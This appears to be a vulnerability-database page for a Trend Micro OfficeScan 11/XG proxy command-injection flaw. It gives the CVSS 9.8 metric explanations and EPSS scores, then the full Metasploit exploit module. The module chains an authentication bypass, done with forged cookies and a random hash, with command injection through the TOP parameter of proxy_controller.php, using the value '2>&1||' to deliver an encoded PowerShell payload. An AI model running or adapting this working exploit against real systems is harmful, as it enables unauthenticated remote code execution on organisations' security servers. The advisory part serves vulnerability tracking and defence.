CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Proxy command injection vulnerability in Trend Micro OfficeScan 11 and XG (12) allows remote attackers to execute arbitrary code on vulnerable installations. The specific flaw can be exploited by parsing the T parameter within Proxy.php. Formerly ZDI-CAN-4544.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
9.8
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
43.6%
–
–
–
–
2021-09-05
–
43.6%
–
–
–
2022-02-06
–
–
83.38%
–
–
2023-03-12
–
–
–
70.47%
–
2023-05-07
–
–
–
70.47%
–
2023-05-21
–
–
–
70.7%
–
2023-06-18
–
–
–
68.16%
–
2023-07-16
–
–
–
69.07%
–
2023-11-12
–
–
–
64.71%
–
2024-06-02
–
–
–
64.71%
–
2024-06-02
–
–
–
64.71%
–
2024-12-22
–
–
–
92.1%
–
2025-02-16
–
–
–
92.51%
–
2025-01-19
–
–
–
92.1%
–
2025-02-16
–
–
–
92.51%
–
2025-03-18
–
–
–
–
81.49%
2025-03-18
–
–
–
–
81.49,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2017-10-10 22h00 +00:00 Author : Mehmet Ince EDB Verified : No
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro OfficeScan Remote Code Execution",
'Description' => %q{
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
terminal command under the context of the web server user.
The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product
has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which
leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
unauthenticated users can execute a terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me@offensive-security.com>', # author of command injection
'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443
},
'Platform' => ['win'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
['OfficeScan 11', {}],
['OfficeScan XG', {}],
],
'Privileged' => false,
'DisclosureDate' => "Oct 7 2017",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/'])
]
)
end
def build_csrftoken(my_target, phpsessid=nil)
vprint_status("Building csrftoken")
if my_target.name == 'OfficeScan XG'
csrf_token = Rex::Text.md5(Time.now.to_s)
else
csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0]
end
csrf_token
end
def auto_target
#XG version of the widget library has package.json within the same directory.
mytarget = target
if target['auto'] && target.name =~ /Automatic/
print_status('Automatic targeting enabled. Trying to detect version.')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'),
})
if res && res.code == 200
mytarget = targets[2]
elsif res && res.code == 404
mytarget = targets[1]
else
fail_with(Failure::Unknown, 'Unable to automatically select a target')
end
print_status("Selected target system : #{mytarget.name}")
end
mytarget
end
def auth(my_target)
# Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9.
# Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie.
if my_target.name == 'OfficeScan XG'
csrf_token = build_csrftoken(my_target)
cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}"
# Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us.
else
vprint_status("Sending session initiation request for : #{my_target.name}.")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'),
})
cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}"
csrf_token = build_csrftoken(my_target, res.get_cookies)
end
# Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version.
# Now we need to exploit authentication bypass vulnerability.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => cookie,
'vars_post' => {
'cid' => '1',
'act' => 'check',
'hash' => Rex::Text.rand_text_alpha(10),
'pid' => '1'
}
})
if res && res.code == 200 && res.body.include?('login successfully')
# Another business logic in here.
# Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php
# Version XG want to use newly created PHPSESSID that comes from auth bypass response.
if my_target.name == 'OfficeScan XG'
res.get_cookies
else
cookie
end
else
nil
end
end
def check
my_target = auto_target
token = auth(my_target)
# If we dont have a cookie that means authentication bypass issue has been patched on target system.
if token.nil?
Exploit::CheckCode::Safe
else
# Authentication bypass does not mean that we have a command injection.
# Accessing to the widget framework without having command injection means literally nothing.
# So we gonna trigger command injection vulnerability without a payload.
csrf_token = build_csrftoken(my_target, token)
vprint_status('Trying to detect command injection vulnerability')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}",
'vars_post' => {
'module' => 'modTMCSS',
'serverid' => '1',
'TOP' => ''
}
})
if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end
def exploit
mytarget = auto_target
print_status('Exploiting authentication bypass')
cookie = auth(mytarget)
if cookie.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Authenticated successfully bypassed.")
end
print_status('Generating payload')
powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
# We need to craft csrf value for version 11 again like we did before at auth function.
csrf_token = build_csrftoken(mytarget, cookie)
print_status('Trigerring command injection vulnerability')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'),
'headers' => {
'X-CSRFToken' => csrf_token,
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8'
},
'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}",
'vars_post' => {
'module' => 'modTMCSS',
'serverid' => '1',
'TOP' => "2>&1||#{p}"
}
})
end
end
